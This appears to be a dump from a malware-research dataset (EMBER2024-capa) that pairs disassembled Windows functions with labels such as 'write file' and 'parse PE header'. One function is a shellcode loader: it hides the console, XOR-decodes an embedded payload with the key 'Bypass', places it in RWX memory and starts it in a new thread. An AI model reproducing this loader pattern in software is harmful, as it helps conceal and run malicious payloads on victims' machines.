joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140019ea0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov r8d, 6
lea rdx, str.TargetResource
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x14001a039
mov rdx, rdi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14001a039
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
je 0x14001a039
mov rdx, rdi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
je 0x14001a039
mov r14d, eax
mov ecx, eax
call fcn.14002291c
mov rdi, rax
mov r8d, r14d
mov rdx, rsi
mov rcx, rax
call fcn.1400247d0
mov r14d, dword [rdi]
lea rcx, [r14 + 1]
call fcn.14002291c
mov rsi, rax
lea r8, [r14 + 1]
xor edx, edx
mov rcx, rax
call fcn.140024e70
mov r8d, dword [rdi]
lea rdx, [rdi + 4]
mov rcx, rsi
call fcn.1400247d0
mov rdx, rsi
mov rcx, rbx
call fcn.14001a220
mov rcx, rsi
test al, al
jne 0x140019f8a
call fcn.140022914
mov rcx, rdi
call fcn.140022914
xor al, al
jmp 0x14001a039
call fcn.140022914
mov r14d, dword [rdi]
add r14, 4
add r14, rdi
movzx eax, byte [r14]
mov qword [rbx + 0x28], rax
movzx eax, byte [r14]
test al, al
je 0x14001a018
mov esi, eax
lea rcx, [rax + 1]
call fcn.14002291c
mov r15, rax
lea r8, [rsi + 1]
xor edx, edx
mov rcx, rax
call fcn.140024e70
mov qword [rbx + 0x30], r15
movzx r8d, byte [r14]
lea rdx, [r14 + 1]
mov rcx, r15
call fcn.1400247d0
movzx eax, byte [r14]
add r14, rax
mov eax, dword [r14 + 1]
mov qword [rbx + 0x38], rax
mov r15d, dword [r14 + 1]
mov ecx, r15d
call fcn.14002291c
mov rsi, rax
mov r8d, r15d
xor edx, edx
mov rcx, rax
call fcn.140024e70
mov qword [rbx + 0x40], rsi
mov r8d, dword [r14 + 1]
lea rdx, [r14 + 5]
mov rcx, rsi
call fcn.1400247d0
mov rcx, rdi
call fcn.140022914
mov rcx, qword [rbx + 0x18]
call fcn.1400199d0
mov rcx, qword [rbx + 0x20]
call fcn.1400199d0
nop
mov al, 1
jmp 0x14001a039
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x14001adc0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r15, rcx
xor esi, esi
mov dword [rsp + 0x30], esi
cmp byte [rcx + 0x3c], sil
je 0x14001aefd
mov edx, 0xffffffff
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
je 0x14001ae17
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14001aee6
lea rdx, [rsp + 0x90]
call fcn.1400036e0
mov r13, rax
mov rdx, rax
lea rcx, [0x140057c78]
call fcn.1400035e0
mov r14, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rax + rdi*2], 0
jne 0x14001ae51
add edi, edi
mov r12, qword [r15 + 0x30]
mov ebx, esi
nop dword [rax]
nop word [rax + rax]
mov r8d, edi
sub r8d, ebx
mov edx, ebx
add rdx, r14
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x30]
mov rcx, r12
cmp r8d, 0x400
jbe 0x14001ae97
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001aea7
add ebx, dword [rsp + 0x30]
jmp 0x14001aeb2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x14001aeb8
cmp ebx, edi
je 0x14001aebd
jmp 0x14001ae70
mov esi, 0x6d
mov dword [rsp + 0x30], esi
mov rcx, qword [r15 + 0x30]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
test r13, r13
je 0x14001aed8
mov rcx, r13
call fcn.140022914
test r14, r14
je 0x14001aee6
mov rcx, r14
call fcn.140022914
nop
jmp 0x14001aef4
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, esi
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x14001af10
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x48
mov r15, rcx
xor esi, esi
mov dword [rsp + 0x30], esi
cmp byte [rcx + 0x3c], sil
je 0x14001b02b
mov edx, 0xffffffff
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
je 0x14001af65
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14001b014
lea rdx, [rsp + 0x90]
call fcn.1400037b0
mov r14, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x14001af90
add edi, edi
mov r12, qword [r15 + 0x30]
mov ebx, esi
nop dword [rax]
nop word [rax + rax]
mov r8d, edi
sub r8d, ebx
mov edx, ebx
add rdx, r14
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x30]
mov rcx, r12
cmp r8d, 0x400
jbe 0x14001afd7
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001afe7
add ebx, dword [rsp + 0x30]
jmp 0x14001aff2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x14001aff8
cmp ebx, edi
je 0x14001affd
jmp 0x14001afb0
mov esi, 0x6d
mov dword [rsp + 0x30], esi
mov rcx, qword [r15 + 0x30]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, r14
call fcn.140022914
nop
jmp 0x14001b022
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, esi
add rsp, 0x48
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x14001b040
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbx, r8
mov rdi, rdx
mov r15, rcx
xor esi, esi
mov dword [rsp + 0x78], esi
cmp byte [rcx + 0x3c], sil
je 0x14001b16a
mov edx, 0xffffffff
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
je 0x14001b096
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, rbx
mov rcx, rdi
call fcn.1400036e0
mov r13, rax
mov rdx, rax
lea rcx, [0x140057c78]
call fcn.1400035e0
mov r14, rax
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x14001b0c0
add edi, edi
mov r12, qword [r15 + 0x30]
mov ebx, esi
nop dword [rax]
nop word [rax + rax]
mov r8d, edi
sub r8d, ebx
mov edx, ebx
add rdx, r14
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x78]
mov rcx, r12
cmp r8d, 0x400
jbe 0x14001b107
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001b117
add ebx, dword [rsp + 0x78]
jmp 0x14001b122
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x14001b128
cmp ebx, edi
je 0x14001b12d
jmp 0x14001b0e0
mov esi, 0x6d
mov dword [rsp + 0x78], esi
mov rcx, qword [r15 + 0x30]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
test r13, r13
je 0x14001b148
mov rcx, r13
call fcn.140022914
test r14, r14
je 0x14001b156
mov rcx, r14
call fcn.140022914
nop
jmp 0x14001b161
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, esi
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x14001b190
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rbx, r8
mov rdi, rdx
mov r15, rcx
xor esi, esi
mov dword [rsp + 0x78], esi
cmp byte [rcx + 0x3c], sil
je 0x14001b288
mov edx, 0xffffffff
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, 0xffffff7f
je 0x14001b1e0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, rbx
mov rcx, rdi
call fcn.1400037b0
mov r14, rax
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rax + rdi*2], 0
jne 0x14001b1f5
add edi, edi
mov r12, qword [r15 + 0x30]
mov ebx, esi
nop word [rax + rax]
mov r8d, edi
sub r8d, ebx
mov edx, ebx
add rdx, r14
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x78]
mov rcx, r12
cmp r8d, 0x400
jbe 0x14001b237
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14001b247
add ebx, dword [rsp + 0x78]
jmp 0x14001b252
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
je 0x14001b258
cmp ebx, edi
je 0x14001b25d
jmp 0x14001b210
mov esi, 0x6d
mov dword [rsp + 0x78], esi
mov rcx, qword [r15 + 0x30]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, r14
call fcn.140022914
nop
jmp 0x14001b27f
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, esi
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400233c0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002340a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002340a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002340a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002340a
cmp dword [rcx + 0x84], 0xe
jbe 0x14002340a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002340c
xor al, al
add rsp, 0x28
ret

Function at 0x140034db8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140034bb4
Function at 0x14003e7f0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14003e820
xor eax, eax
jmp 0x14003e8e3
mov rbp, rbx
cmp word [rax], si
je 0x14003e845
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14003e82c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14003e828
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14003d0bc
movsxd r14, eax
test eax, eax
jne 0x14003e883
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14003e819
mov rcx, r14
call fcn.140037fac
mov rdi, rax
test rax, rax
jne 0x14003e89c
xor ecx, ecx
call fcn.140037f70
jmp 0x14003e878
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14003d0bc
test eax, eax
jne 0x14003e8cd
mov rcx, rdi
call fcn.140037f70
jmp 0x14003e8d7
xor ecx, ecx
call fcn.140037f70
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140041c90
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140037a44
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140041d31
cmp ebx, dword [rsp + 0x30]
je 0x140041d2a
test esi, esi
je 0x140041d2a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140041d05
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140041d12
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140041cef
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140041d16
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140041d33
mov eax, 1
jmp 0x140041d33
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14004512c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400294bc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400451b6
cmp byte [rbp - 0x21], r15b
je 0x1400451b1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400451ec
call fcn.14003afd8
test eax, eax
jne 0x1400451d8
cmp byte [rbp - 0x21], r15b
je 0x1400451d0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400451ec
cmp byte [rbp - 0x21], r15b
je 0x1400451e9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400342c0
test eax, eax
jne 0x14004528c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400294bc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14004522b
cmp byte [rbp - 0x21], r15b
je 0x140045260
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140045260
call fcn.14003afd8
test eax, eax
jne 0x14004524c
cmp byte [rbp - 0x21], r15b
je 0x140045245
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140045260
cmp byte [rbp - 0x21], r15b
je 0x14004525d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400342c0
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14004528c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14004528f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14004529d
mov rcx, rdi
call fcn.140037f70
cmp byte [rbp + 0x3f], r15b
je 0x1400452ac
mov rcx, qword [rbp + 0x27]
call fcn.140037f70
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140047130
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140063870]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x140047187
cmp word [rdx], r13w
jne 0x140047187
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14004718c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400472b1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400472d2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400471c5
mov rdx, r9
mov word [rbx], cx
jmp 0x1400471ec
cmp r9, r8
jae 0x1400471fc
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400471a6
jmp 0x1400472b1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400472a6
cmp dword [rsp + 0x80], esi
je 0x1400472a6
lea r8, [0x140063870]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14004727e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14004724e
mov word [rbx], r13w
jmp 0x1400472ae
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14004725b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400472ae
cmp word [rsp + 0x70], r13w
jne 0x14004728b
cmp rbx, r14
je 0x140047248
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140046c10
cmp word [rsp + 0x70], r13w
je 0x1400472b1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140063870]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400472ab
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400472b1
Function at 0x14000149d
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Hide graphical window
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov eax, 0x62100
call fcn.140002710
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x62070], rax
mov rax, qword [rbp + 0x62070]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.m983upnp6dd.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x62068], rax
cmp qword [rbp + 0x62068], 0
je 0x14000150e
mov eax, 0
jmp 0x14000169f
call sym.dmvjk6lssvn
test eax, eax
je 0x14000169a
mov qword [rbp + 0x62060], 0
mov ecx, 0x5f5e100
call sym.malloc
mov qword [rbp + 0x62060], rax
cmp qword [rbp + 0x62060], 0
je 0x14000169a
mov rax, qword [rbp + 0x62060]
mov r8d, 0x5f5e100
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x62060]
mov rcx, rax
call sym.free
lea rax, [rbp - 0x50]
lea rdx, [0x140004010]
mov ecx, 0x31047
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x62051], 0x61707942
mov dword [rbp + 0x62054], 0x737361
mov dword [rbp + 0x6207c], 0
mov dword [rbp + 0x62078], 0
jmp 0x140001602
cmp dword [rbp + 0x6207c], 6
jne 0x1400015c6
mov dword [rbp + 0x6207c], 0
mov eax, dword [rbp + 0x62078]
cdqe
movzx edx, byte [rbp + rax - 0x50]
mov eax, dword [rbp + 0x6207c]
cdqe
movzx eax, byte [rbp + rax + 0x62051]
xor edx, eax
mov eax, dword [rbp + 0x62078]
cdqe
mov byte [rbp + rax + 0x31000], dl
add dword [rbp + 0x6207c], 1
add dword [rbp + 0x62078], 1
mov eax, dword [rbp + 0x62078]
cmp eax, 0x31046
jbe 0x1400015b3
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x31047
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x62058], rax
mov rax, qword [rbp + 0x62058]
mov rcx, rax
lea rax, [rbp + 0x31000]
mov edx, 0x31047
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x62058]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
call sym.dmvjk6lssvn
test eax, eax
jne 0x14000168a
mov eax, 0
jmp 0x14000169f
mov eax, 0
add rsp, 0x62100
pop rbp
ret

Function at 0x140001970
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x415c40
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x415deb
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00430080
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
nop
jne 0x415cae
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415cc1
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x415ce5
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x415cf9
cmp rbx, 0x1000
jae 0x415cb8
nop
jmp 0x415d69
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x415d0d
xor edx, edx
jmp 0x415d60
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00430080
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop
test dl, dl
jne 0x415cef
jmp 0x415cd5
call fcn.0045ef60
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.00435040
lea rax, [0x004addbf]
mov ebx, 0x18
nop dword [rax + rax]
call fcn.00435940
mov rax, qword [rsp + 0x38]
call fcn.00435640
lea rax, [0x004ade4f]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.00435940
mov rax, qword [rsp + 0x30]
call fcn.00435640
call fcn.004352a0
call fcn.004350c0
lea rax, [0x004aff24]
mov ebx, 0x21
call fcn.004338c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0045b3e0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00415c40
Function at 0x415e20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41604a
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00430100
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x415e9b
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x415eae
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x415ed0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x415ee4
cmp rbx, 0x1000
jae 0x415ea5
jmp 0x415f6e
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x415ef6
xor esi, esi
jmp 0x415f60
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.00430100
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
test sil, sil
jne 0x415eda
jmp 0x415ec2
call fcn.0045ef60
xorps xmm15, xmm15
mov r14, qword gs:[0x28]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x415fe9
call fcn.00435040
lea rax, [0x004ae205]
mov ebx, 0x19
call fcn.00435940
mov rax, qword [rsp + 0x68]
call fcn.00435640
lea rax, [0x004ade4f]
mov ebx, 0x19
nop
call fcn.00435940
mov eax, dword [rsp + 0x34]
call fcn.00435640
call fcn.004352a0
call fcn.004350c0
lea rax, [0x004aae93]
mov ebx, 0xd
call fcn.004338c0
cmp eax, 0x5af
je 0x415f93
call fcn.00435040
